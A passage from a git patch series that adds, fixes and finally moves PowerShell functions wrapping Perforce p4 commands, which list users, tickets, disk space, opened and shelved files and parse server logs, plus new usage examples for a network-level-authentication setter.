file changed, 33 insertions(+) create mode 100644 PERFORCE-Get-PerforceUser/Get-PerforceUser.ps1 diff --git a/PERFORCE-Get-PerforceUser/Get-PerforceUser.ps1 b/PERFORCE-Get-PerforceUser/Get-PerforceUser.ps1 new file mode 100644 index 00000000..c32cd183 --- /dev/null +++ b/PERFORCE-Get-PerforceUser/Get-PerforceUser.ps1 @@ -0,0 +1,33 @@ +function Get-PerforceUser +{ +<# + .SYNOPSIS + Function to retrieve all the users in Perforce + + .DESCRIPTION + Function to retrieve all the users in Perforce + + .NOTES + Francois-Xavier Cat + www.lazywinadmin.com + @lazywinadm + github.com/lazywinadmin +#> + + [CmdletBinding()] + [OutputType([psobject])] + param () + + foreach ($user in (p4 users)) + { + $UserSplit = $user.trim() -split ' ' + + [pscustomobject][ordered]@{ + SamaccountName = $UserSplit[0] + Email = $UserSplit[1] -replace '<', '' -replace '>', '' + DisplayName = $UserSplit[2..$(($UserSplit.count) - 3)] -replace '[()]', '' -as [string] + LastAccess = $UserSplit[-1] -as [datetime] + Line = $user + } + } +} From 0b71a4bed2a3f9b345b34ae2176184395a8ad399 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Fri, 18 Mar 2016 14:11:27 -0400 Subject: [PATCH 080/561] Create Get-PerforceDiskspace.ps1 --- .../Get-PerforceDiskspace.ps1 | 37 +++++++++++++++++++ 1 file changed, 37 insertions(+) create mode 100644 PERFORCE-Get-PerforceDiskspace/Get-PerforceDiskspace.ps1 diff --git a/PERFORCE-Get-PerforceDiskspace/Get-PerforceDiskspace.ps1 b/PERFORCE-Get-PerforceDiskspace/Get-PerforceDiskspace.ps1 new file mode 100644 index 00000000..98901c7d --- /dev/null +++ b/PERFORCE-Get-PerforceDiskspace/Get-PerforceDiskspace.ps1 @@ -0,0 +1,37 @@ +function Get-PerforceDiskspace +{ +<# + .SYNOPSIS + Function to retrieve all the depot(s) diskspace information in Perforce + + .DESCRIPTION + Function to retrieve all the depot(s) diskspace information in Perforce + + .NOTES + Francois-Xavier Cat + www.lazywinadmin.com + @lazywinadm + github.com/lazywinadmin +#> + + [CmdletBinding()] + [OutputType([psobject])] + param () + + $DiskSpaceOutput = p4 diskspace + + foreach ($DiskSpace in $DiskSpaceOutput) + { + $DiskSpaceSplit = $DiskSpace -split '\s' + + [pscustomobject][ordered]@{ + Depot = $DiskSpaceSplit[0] + FileSystemType = $DiskSpaceSplit[2] -replace '[()]', '' -as [string] + FreeSpace = $DiskSpaceSplit[4] + UsedSpace = $DiskSpaceSplit[6] + TotalSpace = $DiskSpaceSplit[8] + PercentUsedSpace = $DiskSpaceSplit[-1] + Line = $DiskSpaceSplit + } + } +} From 06ac302ffe1707b0e54a7953e8805011f9603141 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Fri, 18 Mar 2016 14:18:15 -0400 Subject: [PATCH 081/561] Create Get-PerforceTicket.ps1 --- .../Get-PerforceTicket.ps1 | 33 +++++++++++++++++++ 1 file changed, 33 insertions(+) create mode 100644 PERFORCE-Get-PerforceTicket/Get-PerforceTicket.ps1 diff --git a/PERFORCE-Get-PerforceTicket/Get-PerforceTicket.ps1 b/PERFORCE-Get-PerforceTicket/Get-PerforceTicket.ps1 new file mode 100644 index 00000000..a22ee768 --- /dev/null +++ b/PERFORCE-Get-PerforceTicket/Get-PerforceTicket.ps1 @@ -0,0 +1,33 @@ +function Get-PerforceTicket +{ +<# + .SYNOPSIS + Function to display all tickets granted to a user by p4 login. + + .DESCRIPTION + Function to display all tickets granted to a user by p4 login. + + .NOTES + Francois-Xavier Cat + www.lazywinadmin.com + @lazywinadm + github.com/lazywinadmin +#> + + [CmdletBinding()] + param () + + $Ticket = p4 tickets + + foreach ($Tick in $Ticket) + { + $TicketSplit = $Tick -split '\s' + + [pscustomobject][ordered]@{ + Server = ($TicketSplit[0] -split ':')[0] + Port = ($TicketSplit[0] -split ':')[1] + Username = $TicketSplit[1] -replace '[()]', '' + ID = $TicketSplit[2] + } + } +} From e0f2d207d8c493be3e23d869a39bfea0b4bb2f39 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Sat, 19 Mar 2016 14:10:44 -0400 Subject: [PATCH 082/561] Add Get-PerforceLog --- PERFORCE-Get-PerforceLog/Get-PerforceLog.ps1 | 270 +++++++++++++++++++ 1 file changed, 270 insertions(+) create mode 100644 PERFORCE-Get-PerforceLog/Get-PerforceLog.ps1 diff --git a/PERFORCE-Get-PerforceLog/Get-PerforceLog.ps1 b/PERFORCE-Get-PerforceLog/Get-PerforceLog.ps1 new file mode 100644 index 00000000..0e873576 --- /dev/null +++ b/PERFORCE-Get-PerforceLog/Get-PerforceLog.ps1 @@ -0,0 +1,270 @@ +function Get-PerforceLog +{ +<# + .SYNOPSIS + Function to parse the Perforce Log + + .DESCRIPTION + Function to parse the Perforce Log + + .PARAMETER LiteralPath + Specifies the Literal path of the log file to parse + + .PARAMETER Match + Specifies the string to search + + .EXAMPLE + Get-PerforceLog -Literalpath c:\perforce\log + + .EXAMPLE + Get-PerforceLog -Literalpath c:\perforce\log Match 10.100.1.1 + + Parse the log and only retrieve entries that contains the IP 10.100.1.1 + + .EXAMPLE + Get-PerforceLog -Literalpath c:\perforce\log -Match 1045 + + Parse the log and only retrieve entries that contains the PID 1045 + + .NOTES + Francois-Xavier Cat + www.lazywinadmin.com + @lazywinadm + github.com/lazywinadmin +#> + + [CmdletBinding()] + [OutputType([psobject])] + param + ( + [parameter(Mandatory)] + [ValidateScript({ Test-Path -Path $_ -PathType Leaf })] + [ValidateNotNullOrEmpty()] + [string]$LiteralPath , + + [String]$Match + ) + + # Define function to convert the UnixDate to standard date + Function Convert-FromUnixdate ($UnixDate) + { + [timezone]::CurrentTimeZone.ToLocalTime(([datetime]'1/1/1970').AddSeconds($UnixDate)) + } + + # Create a StreamReader object + # Fortunately this .NET Framework called System.IO.StreamReader allows you to read text files a line at a time which is important when you' re dealing with huge log files :-) + $StreamReader = New-object -TypeName System.IO.StreamReader -ArgumentList (Resolve-Path -Path $LiteralPath -ErrorAction Stop).Path + + Write-Verbose -Message "[PROCESS] Reading Stream from file: $Path" + + # .Peek() Method: An integer representing the next character to be read, or -1 if no more characters are available or the stream does not support seeking. + while ($StreamReader.Peek() -gt -1) + { + # Read the next line + # .ReadLine() method: Reads a line of characters from the current stream and returns the data as a string. + $Line = $StreamReader.ReadLine() + + IF (-not $PSBoundParameters['Match']) + { + # Ignore empty line and line starting with a # + if ($Line.length -eq 0 -or $Line -match "^#" -or $Line -match 'Perforce server info:') + { + continue + } + + # Split the line on $Delimiter + $result = ($Line -split ' ').trim() + $Status = if ($result[4] -notmatch '@') { $result[4] } + else { "NA" } + $Duration = if ($result[4] -notmatch '@') { $result[5] } + else { "NA" } + $Username = if ($result[4] -match '@') { ($result[4] -split '\@')[0] } + else { "NA" } + $Workspace = if ($result[4] -match '@') { ($result[4] -split '\@')[1] } + else { "NA" } + $IPAddress = if ($result[4] -match '@') { ($result[5]) } + else { "NA" } + $Client = if ($result[4] -match '@') { ($result[6]) } + else { "NA" } + $Command = if ($result[4] -match '@') { ($result[7..$result.Count] -as [string]) } + else { "NA" } + + + [pscustomobject][ordered]@{ + DateTime = $result[0..1] -as [string] -as [datetime] + PID = $result[3] + Status = $Status + Duration = $Duration + Username = $Username + Workspace = $Workspace + IPAddress = $IPAddress + Client = $Client + Command = $Command + Line = $Line.trim() + } + } + IF ($PSBoundParameters['Match']) + { + IF ($Line -match $Match) + { + # Ignore empty line and line starting with a # + if ($Line.length -eq 0 -or $Line -match "^#" -or $Line -match 'Perforce server info:') + { + continue + } + + # Split the line on $Delimiter + $result = ($Line -split ' ').trim() + $Status = if ($result[4] -notmatch '@') { $result[4] } + else { "NA" } + $Duration = if ($result[4] -notmatch '@') { $result[5] } + else { "NA" } + $Username = if ($result[4] -match '@') { ($result[4] -split '\@')[0] } + else { "NA" } + $Workspace = if ($result[4] -match '@') { ($result[4] -split '\@')[1] } + else { "NA" } + $IPAddress = if ($result[4] -match '@') { ($result[5]) } + else { "NA" } + $Client = if ($result[4] -match '@') { ($result[6]) } + else { "NA" } + $Command = if ($result[4] -match '@') { ($result[7..$result.Count] -as [string]) } + else { "NA" } + + + [pscustomobject][ordered]@{ + DateTime = $result[0..1] -as [string] -as [datetime] + PID = $result[3] + Status = $Status + Duration = $Duration + Username = $Username + Workspace = $Workspace + IPAddress = $IPAddress + Client = $Client + Command = $Command + Line = $Line.trim() + } + + } + + + } + } + # Close Reader + $StreamReader.Close() +} + +Get-PerforceLog -Match 10.100.44.22function Get-PerforceLog +{ + PARAM ( + [ValidateScript({ Test-Path -Path $_ -PathType Leaf })] + [string]$LiteralPath = "C:\LazyWinAdmin\logparsing\log", + + [String]$Match + ) + # Define function to convert the UnixDate to standard date + Function Convert-FromUnixdate ($UnixDate) + { + [timezone]::CurrentTimeZone.ToLocalTime(([datetime]'1/1/1970').AddSeconds($UnixDate)) + } + + # Create a StreamReader object + # Fortunately this .NET Framework called System.IO.StreamReader allows you to read text files a line at a time which is important when you' re dealing with huge log files :-) + $StreamReader = New-object -TypeName System.IO.StreamReader -ArgumentList (Resolve-Path -Path $LiteralPath -ErrorAction Stop).Path + + Write-Verbose -Message "[PROCESS] Reading Stream from file: $Path" + + # .Peek() Method: An integer representing the next character to be read, or -1 if no more characters are available or the stream does not support seeking. + while ($StreamReader.Peek() -gt -1) + { + # Read the next line + # .ReadLine() method: Reads a line of characters from the current stream and returns the data as a string. + $Line = $StreamReader.ReadLine() + + IF (-not $PSBoundParameters['Match']) + { + # Ignore empty line and line starting with a # + if ($Line.length -eq 0 -or $Line -match "^#" -or $Line -match 'Perforce server info:') + { + continue + } + + # Split the line on $Delimiter + $result = ($Line -split ' ').trim() + $Status = if ($result[4] -notmatch '@') { $result[4] } + else { "NA" } + $Duration = if ($result[4] -notmatch '@') { $result[5] } + else { "NA" } + $Username = if ($result[4] -match '@') { ($result[4] -split '\@')[0] } + else { "NA" } + $Workspace = if ($result[4] -match '@') { ($result[4] -split '\@')[1] } + else { "NA" } + $IPAddress = if ($result[4] -match '@') { ($result[5]) } + else { "NA" } + $Client = if ($result[4] -match '@') { ($result[6]) } + else { "NA" } + $Command = if ($result[4] -match '@') { ($result[7..$result.Count] -as [string]) } + else { "NA" } + + + [pscustomobject][ordered]@{ + DateTime = $result[0..1] -as [string] -as [datetime] + PID = $result[3] + Status = $Status + Duration = $Duration + Username = $Username + Workspace = $Workspace + IPAddress = $IPAddress + Client = $Client + Command = $Command + Line = $Line.trim() + } + } + IF ($PSBoundParameters['Match']) + { + IF ($Line -match $Match) + { + # Ignore empty line and line starting with a # + if ($Line.length -eq 0 -or $Line -match "^#" -or $Line -match 'Perforce server info:') + { + continue + } + + # Split the line on $Delimiter + $result = ($Line -split ' ').trim() + $Status = if ($result[4] -notmatch '@') { $result[4] } + else { "NA" } + $Duration = if ($result[4] -notmatch '@') { $result[5] } + else { "NA" } + $Username = if ($result[4] -match '@') { ($result[4] -split '\@')[0] } + else { "NA" } + $Workspace = if ($result[4] -match '@') { ($result[4] -split '\@')[1] } + else { "NA" } + $IPAddress = if ($result[4] -match '@') { ($result[5]) } + else { "NA" } + $Client = if ($result[4] -match '@') { ($result[6]) } + else { "NA" } + $Command = if ($result[4] -match '@') { ($result[7..$result.Count] -as [string]) } + else { "NA" } + + + [pscustomobject][ordered]@{ + DateTime = $result[0..1] -as [string] -as [datetime] + PID = $result[3] + Status = $Status + Duration = $Duration + Username = $Username + Workspace = $Workspace + IPAddress = $IPAddress + Client = $Client + Command = $Command + Line = $Line.trim() + } + + } + + + } + } + # Close Reader + $StreamReader.Close() +}Get-PerforceLog -Match 10.100.44.22 \ No newline at end of file From 699cf5c192d2bd0c968ac1c3fca6d04a9b7ed371 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Sat, 19 Mar 2016 14:28:33 -0400 Subject: [PATCH 083/561] Update Get-PerforceLog --- PERFORCE-Get-PerforceLog/Get-PerforceLog.ps1 | 118 +------------------ 1 file changed, 1 insertion(+), 117 deletions(-) diff --git a/PERFORCE-Get-PerforceLog/Get-PerforceLog.ps1 b/PERFORCE-Get-PerforceLog/Get-PerforceLog.ps1 index 0e873576..9c94ac0b 100644 --- a/PERFORCE-Get-PerforceLog/Get-PerforceLog.ps1 +++ b/PERFORCE-Get-PerforceLog/Get-PerforceLog.ps1 @@ -151,120 +151,4 @@ } # Close Reader $StreamReader.Close() -} - -Get-PerforceLog -Match 10.100.44.22function Get-PerforceLog -{ - PARAM ( - [ValidateScript({ Test-Path -Path $_ -PathType Leaf })] - [string]$LiteralPath = "C:\LazyWinAdmin\logparsing\log", - - [String]$Match - ) - # Define function to convert the UnixDate to standard date - Function Convert-FromUnixdate ($UnixDate) - { - [timezone]::CurrentTimeZone.ToLocalTime(([datetime]'1/1/1970').AddSeconds($UnixDate)) - } - - # Create a StreamReader object - # Fortunately this .NET Framework called System.IO.StreamReader allows you to read text files a line at a time which is important when you' re dealing with huge log files :-) - $StreamReader = New-object -TypeName System.IO.StreamReader -ArgumentList (Resolve-Path -Path $LiteralPath -ErrorAction Stop).Path - - Write-Verbose -Message "[PROCESS] Reading Stream from file: $Path" - - # .Peek() Method: An integer representing the next character to be read, or -1 if no more characters are available or the stream does not support seeking. - while ($StreamReader.Peek() -gt -1) - { - # Read the next line - # .ReadLine() method: Reads a line of characters from the current stream and returns the data as a string. - $Line = $StreamReader.ReadLine() - - IF (-not $PSBoundParameters['Match']) - { - # Ignore empty line and line starting with a # - if ($Line.length -eq 0 -or $Line -match "^#" -or $Line -match 'Perforce server info:') - { - continue - } - - # Split the line on $Delimiter - $result = ($Line -split ' ').trim() - $Status = if ($result[4] -notmatch '@') { $result[4] } - else { "NA" } - $Duration = if ($result[4] -notmatch '@') { $result[5] } - else { "NA" } - $Username = if ($result[4] -match '@') { ($result[4] -split '\@')[0] } - else { "NA" } - $Workspace = if ($result[4] -match '@') { ($result[4] -split '\@')[1] } - else { "NA" } - $IPAddress = if ($result[4] -match '@') { ($result[5]) } - else { "NA" } - $Client = if ($result[4] -match '@') { ($result[6]) } - else { "NA" } - $Command = if ($result[4] -match '@') { ($result[7..$result.Count] -as [string]) } - else { "NA" } - - - [pscustomobject][ordered]@{ - DateTime = $result[0..1] -as [string] -as [datetime] - PID = $result[3] - Status = $Status - Duration = $Duration - Username = $Username - Workspace = $Workspace - IPAddress = $IPAddress - Client = $Client - Command = $Command - Line = $Line.trim() - } - } - IF ($PSBoundParameters['Match']) - { - IF ($Line -match $Match) - { - # Ignore empty line and line starting with a # - if ($Line.length -eq 0 -or $Line -match "^#" -or $Line -match 'Perforce server info:') - { - continue - } - - # Split the line on $Delimiter - $result = ($Line -split ' ').trim() - $Status = if ($result[4] -notmatch '@') { $result[4] } - else { "NA" } - $Duration = if ($result[4] -notmatch '@') { $result[5] } - else { "NA" } - $Username = if ($result[4] -match '@') { ($result[4] -split '\@')[0] } - else { "NA" } - $Workspace = if ($result[4] -match '@') { ($result[4] -split '\@')[1] } - else { "NA" } - $IPAddress = if ($result[4] -match '@') { ($result[5]) } - else { "NA" } - $Client = if ($result[4] -match '@') { ($result[6]) } - else { "NA" } - $Command = if ($result[4] -match '@') { ($result[7..$result.Count] -as [string]) } - else { "NA" } - - - [pscustomobject][ordered]@{ - DateTime = $result[0..1] -as [string] -as [datetime] - PID = $result[3] - Status = $Status - Duration = $Duration - Username = $Username - Workspace = $Workspace - IPAddress = $IPAddress - Client = $Client - Command = $Command - Line = $Line.trim() - } - - } - - - } - } - # Close Reader - $StreamReader.Close() -}Get-PerforceLog -Match 10.100.44.22 \ No newline at end of file +} \ No newline at end of file From 2cfa23210ad9b5f4a76ac7f71626a8fcc70b1052 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Wed, 23 Mar 2016 11:16:20 -0400 Subject: [PATCH 084/561] Add some examples Examples to run against multiple Computers --- .../Set-NetworkLevelAuthentication.ps1 | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/TOOL-Set-NetworkLevelAuthentication/Set-NetworkLevelAuthentication.ps1 b/TOOL-Set-NetworkLevelAuthentication/Set-NetworkLevelAuthentication.ps1 index eaf2f0b0..d9375e9b 100644 --- a/TOOL-Set-NetworkLevelAuthentication/Set-NetworkLevelAuthentication.ps1 +++ b/TOOL-Set-NetworkLevelAuthentication/Set-NetworkLevelAuthentication.ps1 @@ -19,9 +19,11 @@ .EXAMPLE Set-NetworkLevelAuthentication -EnableNLA $true - ReturnValue PSComputerName - ----------- -------------- - XAVIERDESKTOP +.EXAMPLE + Set-NetworkLevelAuthentication -EnableNLA $true -computername "SERVER01","SERVER02" + +.EXAMPLE + Set-NetworkLevelAuthentication -EnableNLA $true -computername (Get-Content ServersList.txt) .NOTES DATE : 2014/04/01 @@ -134,4 +136,4 @@ } Write-Verbose -Message "END - Script is completed" } -} \ No newline at end of file +} From f5a0b9a51ef4e426cd24a2eeb724999ee9cf93ad Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Mon, 28 Mar 2016 16:38:34 -0400 Subject: [PATCH 085/561] Move to PerforcePS repository --- .../Check-PerforceUserExist.ps1 | 19 --- .../Connect-PerforceServer.ps1 | 51 ------ .../Get-PerforceDiskspace.ps1 | 37 ----- .../Get-PerforceFileOpened.ps1 | 74 --------- .../Get-PerforceFileShelve.ps1 | 72 -------- PERFORCE-Get-PerforceLog/Get-PerforceLog.ps1 | 154 ------------------ .../Get-PerforceTicket.ps1 | 33 ---- .../Get-PerforceUser.ps1 | 33 ---- .../Get-PerforceWorkspace.ps1 | 54 ------ .../New-PerforceUser.ps1 | 16 -- .../New-PerforceUserTemplate.ps1 | 42 ----- 11 files changed, 585 deletions(-) delete mode 100644 PERFORCE-Check-PerforceUserExist/Check-PerforceUserExist.ps1 delete mode 100644 PERFORCE-Connect-PerforceServer/Connect-PerforceServer.ps1 delete mode 100644 PERFORCE-Get-PerforceDiskspace/Get-PerforceDiskspace.ps1 delete mode 100644 PERFORCE-Get-PerforceFileOpened/Get-PerforceFileOpened.ps1 delete mode 100644 PERFORCE-Get-PerforceFileShelve/Get-PerforceFileShelve.ps1 delete mode 100644 PERFORCE-Get-PerforceLog/Get-PerforceLog.ps1 delete mode 100644 PERFORCE-Get-PerforceTicket/Get-PerforceTicket.ps1 delete mode 100644 PERFORCE-Get-PerforceUser/Get-PerforceUser.ps1 delete mode 100644 PERFORCE-Get-PerforceWorkspace/Get-PerforceWorkspace.ps1 delete mode 100644 PERFORCE-New-PerforceUser/New-PerforceUser.ps1 delete mode 100644 PERFORCE-New-PerforceUserTemplate/New-PerforceUserTemplate.ps1 diff --git a/PERFORCE-Check-PerforceUserExist/Check-PerforceUserExist.ps1 b/PERFORCE-Check-PerforceUserExist/Check-PerforceUserExist.ps1 deleted file mode 100644 index 78a12ea7..00000000 --- a/PERFORCE-Check-PerforceUserExist/Check-PerforceUserExist.ps1 +++ /dev/null @@ -1,19 +0,0 @@ -Function Check-PerforceUserExist -{ - PARAM ($UserName) - PROCESS - { - $CheckAccount = p4 users $UserName - if ($CheckAccount -like "*accessed*") - { - $CheckAccount = $CheckAccount -split '\s' - - $Properties = @{ - "UserName" = $CheckAccount[0] - "Email" = $CheckAccount[1] -replace "<|>", "" - "PerforceAccount" = $CheckAccount[2] -replace "\(|\)", "" - } - New-Object -TypeName PSObject -Property $Properties - } #IF - } -} \ No newline at end of file diff --git a/PERFORCE-Connect-PerforceServer/Connect-PerforceServer.ps1 b/PERFORCE-Connect-PerforceServer/Connect-PerforceServer.ps1 deleted file mode 100644 index 3dbe1456..00000000 --- a/PERFORCE-Connect-PerforceServer/Connect-PerforceServer.ps1 +++ /dev/null @@ -1,51 +0,0 @@ -function Connect-PerforceServer -{ -<# -.SYNOPSIS - Connect to a Perforce Server -.DESCRIPTION - Connect to a Perforce Server -#> - [CmdletBinding()] - PARAM ( - [Parameter(Mandatory = $True)] - $Server, - - [Parameter(Mandatory = $True)] - $Port, - - [Parameter(Mandatory = $True)] - $UserName, - - [Parameter(Mandatory = $True)] - $Password - ) - BEGIN - { - #Check if p4.exe is present - } - PROCESS - { - TRY - { - IF (Test-Connection -ComputerName $Server -Count 1 -Quiet -ErrorAction SilentlyContinue) - { - # Set the Environment Variables - $env:p4port = "$($Server):$($Port)" - $env:p4user = $UserName - - # Connect to p4 as Admin - # The environment variables previously set will be used by p4 - $Password | p4 login - } - ELSE - { - Write-Warning -Message "[PROCESS] Can't ping to $Server on port: $port" - } - } - CATCH - { - Write-Warning -Message "[PROCESS] Issue while connecting to perforce server: $Server on port: $port" - } - } -} diff --git a/PERFORCE-Get-PerforceDiskspace/Get-PerforceDiskspace.ps1 b/PERFORCE-Get-PerforceDiskspace/Get-PerforceDiskspace.ps1 deleted file mode 100644 index 98901c7d..00000000 --- a/PERFORCE-Get-PerforceDiskspace/Get-PerforceDiskspace.ps1 +++ /dev/null @@ -1,37 +0,0 @@ -function Get-PerforceDiskspace -{ -<# - .SYNOPSIS - Function to retrieve all the depot(s) diskspace information in Perforce - - .DESCRIPTION - Function to retrieve all the depot(s) diskspace information in Perforce - - .NOTES - Francois-Xavier Cat - www.lazywinadmin.com - @lazywinadm - github.com/lazywinadmin -#> - - [CmdletBinding()] - [OutputType([psobject])] - param () - - $DiskSpaceOutput = p4 diskspace - - foreach ($DiskSpace in $DiskSpaceOutput) - { - $DiskSpaceSplit = $DiskSpace -split '\s' - - [pscustomobject][ordered]@{ - Depot = $DiskSpaceSplit[0] - FileSystemType = $DiskSpaceSplit[2] -replace '[()]', '' -as [string] - FreeSpace = $DiskSpaceSplit[4] - UsedSpace = $DiskSpaceSplit[6] - TotalSpace = $DiskSpaceSplit[8] - PercentUsedSpace = $DiskSpaceSplit[-1] - Line = $DiskSpaceSplit - } - } -} diff --git a/PERFORCE-Get-PerforceFileOpened/Get-PerforceFileOpened.ps1 b/PERFORCE-Get-PerforceFileOpened/Get-PerforceFileOpened.ps1 deleted file mode 100644 index 3007ae02..00000000 --- a/PERFORCE-Get-PerforceFileOpened/Get-PerforceFileOpened.ps1 +++ /dev/null @@ -1,74 +0,0 @@ -function Get-PerforceFileOpened -{ -<# - .SYNOPSIS - Function to retrieve the file(s) opened for a user or in a workspace - - .DESCRIPTION - Function to retrieve the file(s) opened for a user or in a workspace - - .PARAMETER UserName - Specifies the User - - .PARAMETER WorkSpace - Specifies the Workspace - - .OUTPUTS - Psobject, Psobject - - .NOTES - Francois-Xavier Cat - www.lazywinadmin.com - @lazywinadm - github.com/lazywinadmin -#> - - [CmdletBinding(DefaultParameterSetName = 'All')] - [OutputType([Psobject], ParameterSetName = 'WorkSpace')] - [OutputType([Psobject], ParameterSetName = 'UserName')] - [OutputType([psobject])] - param - ( - [Parameter(ParameterSetName = 'UserName', - Mandatory = $true)] - $UserName, - - [Parameter(ParameterSetName = 'WorkSpace', - Mandatory = $true)] - $WorkSpace - ) - - if ($PSBoundParameters['UserName']) - { - $OpenedFiles = p4 opened -u $UserName - } - elseif ($PSBoundParameters['Workspace']) - { - $OpenedFiles = p4 opened -C $WorkSpace - } - else - { - $openedFiles = p4 opened -a - } - - Foreach ($File in $OpenedFiles) - { - $OriginalLine = $file - $LiteralPath = $File -split '#' - $RevisionNumber = ($LiteralPath[1] -split ' - ')[0] - $FullComment = (($literalpath[1] -split ' - ')[1] -split 'by') - $ChangeNumber = (($FullComment[0] -split 'change ')[1] -split ' \(')[0] - #if($ChangeNumber -is [int]){$ChangeNumber} else {$ChangeNumber=""} - - [pscustomobject][ordered]@{ - LiteralPath = $LiteralPath[0] - FileName = ($LiteralPath[0] -split '/')[-1] - RevisionNumber = $RevisionNumber - Comment = $FullComment[0] - ChangeListNumber = $ChangeNumber -as [int] - Username = ($FullComment[1].trim() -split '@')[0] - Workspace = ($FullComment[1].trim() -split '@')[1] - Line = $OriginalLine - } - } -} diff --git a/PERFORCE-Get-PerforceFileShelve/Get-PerforceFileShelve.ps1 b/PERFORCE-Get-PerforceFileShelve/Get-PerforceFileShelve.ps1 deleted file mode 100644 index d24623bc..00000000 --- a/PERFORCE-Get-PerforceFileShelve/Get-PerforceFileShelve.ps1 +++ /dev/null @@ -1,72 +0,0 @@ -function Get-PerforceFileShelve -{ -<# - .SYNOPSIS - Function to retrieve the file(s) shelfed for a specific changelist number or a specific User - - .DESCRIPTION - Function to retrieve the file(s) shelfed for a specific changelist number or a specific User - - .PARAMETER ChangeListNumber - A description of the ChangeListNumber parameter. - - .PARAMETER UserName - A description of the UserName parameter. - - .OUTPUTS - psobject, psobject - - .NOTES - Francois-Xavier Cat - www.lazywinadmin.com - @lazywinadm - github.com/lazywinadmin -#> - - [CmdletBinding(DefaultParameterSetName = 'ChangeListNumber')] - [OutputType([psobject], ParameterSetName = 'ChangeListNumber')] - [OutputType([psobject], ParameterSetName = 'Username')] - [OutputType([psobject])] - param - ( - [Parameter(ParameterSetName = 'ChangeListNumber', - Mandatory = $true)] - [string[]]$ChangeListNumber, - - [Parameter(ParameterSetName = 'Username', - Mandatory = $true)] - [string]$UserName - ) - - IF ($PSBoundParameters['UserName']) - { - $ChangeList = p4 changes -u $UserName -s shelved - $ChangeListNumber = ($ChangeList -split '\s')[1] | Select-Object -unique - } - - - foreach ($Change in ($ChangeListNumber|Select-Object -Unique)) - { - $Shelves = p4 describe -S $ChangeListNumber - $ShelvesFiles = $Shelves | select-string -Pattern '\.\.\. //' - - foreach ($file in $ShelvesFiles) - { - $OriginalLine = $file - $LiteralPath = $file -split "#" -replace '\.\.\. ', '' - - [pscustomobject][ordered]@{ - ChangeListNumber = $Change - UserName = (($Shelves -split '\s')[3] -split '@')[0] - WorkSpace = (($Shelves -split '\s')[3] -split '@')[1] - ChangeDateTime = ($Shelves -split '\s')[5..6] -as [string] -as [datetime] - ChangeType = ($Shelves -split '\s')[7] - LiteralPath = $LiteralPath[0] - FileName = ($LiteralPath[0] -split '/')[-1] - RevisionNumber = ($LiteralPath[1] -split '\s')[0] - Type = ($LiteralPath[1] -split '\s')[1] - Line = $OriginalLine - } - } - } -} diff --git a/PERFORCE-Get-PerforceLog/Get-PerforceLog.ps1 b/PERFORCE-Get-PerforceLog/Get-PerforceLog.ps1 deleted file mode 100644 index 9c94ac0b..00000000 --- a/PERFORCE-Get-PerforceLog/Get-PerforceLog.ps1 +++ /dev/null @@ -1,154 +0,0 @@ -function Get-PerforceLog -{ -<# - .SYNOPSIS - Function to parse the Perforce Log - - .DESCRIPTION - Function to parse the Perforce Log - - .PARAMETER LiteralPath - Specifies the Literal path of the log file to parse - - .PARAMETER Match - Specifies the string to search - - .EXAMPLE - Get-PerforceLog -Literalpath c:\perforce\log - - .EXAMPLE - Get-PerforceLog -Literalpath c:\perforce\log Match 10.100.1.1 - - Parse the log and only retrieve entries that contains the IP 10.100.1.1 - - .EXAMPLE - Get-PerforceLog -Literalpath c:\perforce\log -Match 1045 - - Parse the log and only retrieve entries that contains the PID 1045 - - .NOTES - Francois-Xavier Cat - www.lazywinadmin.com - @lazywinadm - github.com/lazywinadmin -#> - - [CmdletBinding()] - [OutputType([psobject])] - param - ( - [parameter(Mandatory)] - [ValidateScript({ Test-Path -Path $_ -PathType Leaf })] - [ValidateNotNullOrEmpty()] - [string]$LiteralPath , - - [String]$Match - ) - - # Define function to convert the UnixDate to standard date - Function Convert-FromUnixdate ($UnixDate) - { - [timezone]::CurrentTimeZone.ToLocalTime(([datetime]'1/1/1970').AddSeconds($UnixDate)) - } - - # Create a StreamReader object - # Fortunately this .NET Framework called System.IO.StreamReader allows you to read text files a line at a time which is important when you' re dealing with huge log files :-) - $StreamReader = New-object -TypeName System.IO.StreamReader -ArgumentList (Resolve-Path -Path $LiteralPath -ErrorAction Stop).Path - - Write-Verbose -Message "[PROCESS] Reading Stream from file: $Path" - - # .Peek() Method: An integer representing the next character to be read, or -1 if no more characters are available or the stream does not support seeking. - while ($StreamReader.Peek() -gt -1) - { - # Read the next line - # .ReadLine() method: Reads a line of characters from the current stream and returns the data as a string. - $Line = $StreamReader.ReadLine() - - IF (-not $PSBoundParameters['Match']) - { - # Ignore empty line and line starting with a # - if ($Line.length -eq 0 -or $Line -match "^#" -or $Line -match 'Perforce server info:') - { - continue - } - - # Split the line on $Delimiter - $result = ($Line -split ' ').trim() - $Status = if ($result[4] -notmatch '@') { $result[4] } - else { "NA" } - $Duration = if ($result[4] -notmatch '@') { $result[5] } - else { "NA" } - $Username = if ($result[4] -match '@') { ($result[4] -split '\@')[0] } - else { "NA" } - $Workspace = if ($result[4] -match '@') { ($result[4] -split '\@')[1] } - else { "NA" } - $IPAddress = if ($result[4] -match '@') { ($result[5]) } - else { "NA" } - $Client = if ($result[4] -match '@') { ($result[6]) } - else { "NA" } - $Command = if ($result[4] -match '@') { ($result[7..$result.Count] -as [string]) } - else { "NA" } - - - [pscustomobject][ordered]@{ - DateTime = $result[0..1] -as [string] -as [datetime] - PID = $result[3] - Status = $Status - Duration = $Duration - Username = $Username - Workspace = $Workspace - IPAddress = $IPAddress - Client = $Client - Command = $Command - Line = $Line.trim() - } - } - IF ($PSBoundParameters['Match']) - { - IF ($Line -match $Match) - { - # Ignore empty line and line starting with a # - if ($Line.length -eq 0 -or $Line -match "^#" -or $Line -match 'Perforce server info:') - { - continue - } - - # Split the line on $Delimiter - $result = ($Line -split ' ').trim() - $Status = if ($result[4] -notmatch '@') { $result[4] } - else { "NA" } - $Duration = if ($result[4] -notmatch '@') { $result[5] } - else { "NA" } - $Username = if ($result[4] -match '@') { ($result[4] -split '\@')[0] } - else { "NA" } - $Workspace = if ($result[4] -match '@') { ($result[4] -split '\@')[1] } - else { "NA" } - $IPAddress = if ($result[4] -match 